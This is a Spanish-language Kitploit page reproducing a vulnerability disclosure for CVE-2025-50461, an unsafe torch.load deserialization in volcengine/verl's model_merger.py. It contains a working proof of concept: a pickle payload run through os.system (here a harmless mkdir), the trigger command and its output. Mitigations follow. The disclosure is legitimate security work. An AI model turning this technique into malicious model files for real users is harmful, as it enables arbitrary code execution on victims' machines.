Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-50461 — Detalles técnicos y exploit para CVE-2025-50461 | Kitploit
Herramientas/GitHubGitHub/anchor0221/cve-2025-50461
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubanchor0221/cve-2025-50461

CVE-2025-50461

Detalles técnicos y exploit para CVE-2025-50461

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-50461: Ejecución Remota de Código mediante Deserialización Insegura de Modelos en Verl

Estado: RESERVADO
Este ID de CVE ha sido asignado pero aún no está publicado en la lista oficial de CVE.

Existe una vulnerabilidad de deserialización en Volcengine's verl 3.0.0, específicamente en el script scripts/model_merger.py cuando se utiliza el backend "fsdp". El script llama a torch.load() con weights_only=False en archivos .pt proporcionados por el usuario, lo que permite a atacantes ejecutar código arbitrario si se carga un archivo de modelo manipulado maliciosamente. Un atacante puede explotar esto convenciendo a una víctima de descargar y colocar un archivo de modelo malicioso en un directorio local con un patrón de nombre de archivo específico. Esta vulnerabilidad puede llevar a la ejecución de código arbitrario con los privilegios del usuario que ejecuta el script.

Descripción

Repositorio Afectado

  • Proyecto: volcengine/verl
  • Versiones afectadas: <= v0.4.0
  • Archivo: scripts/model_merger.py
  • Enlace permanente de GitHub: https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
  • Dependencia: PyTorch < 2.6.0

Prueba de Concepto (PoC)

Descargar herramienta

Paso 1: Crear Archivo de Modelo Malicioso (malicious.pt)

root@kitploit:~
import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

Paso 2: Renombrar y Colocar

root@kitploit:~
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

Paso 3: Ejecutar el Script Vulnerable

root@kitploit:~
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

Resultado

root@kitploit:~
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

El comando mkdir HACKED! se ejecuta en el sistema de la víctima.

Mitigación

  • Actualice a PyTorch versión 2.6.0 o posterior, que por defecto usa weights_only=True, reduciendo los riesgos de deserialización.
  • Modifique el código para establecer explícitamente weights_only=True al llamar a torch.load.
  • Implemente validación para verificar la integridad del archivo de modelo antes de cargarlo.
  • Eduque a los usuarios para que no carguen modelos de fuentes no confiables.

Ejemplo de carga más segura:

root@kitploit:~
state_dict = torch.load(path, map_location="cpu", weights_only=True)

Estado del CVE

CampoValor
ID de CVECVE-2025-50461
Puntuación CVSSTBD
CWECWE-502: Deserialización de Datos No Confiables
Fecha de Reporte2025-04-30
Fecha de Divulgación2025-08-15
Versión Afectada<= v0.4.0
Versión Corregida

Autor

  • Descubierto por: Yu Rong (戎誉) y Hao Fan (凡浩)
  • Contacto: *[[email protected]]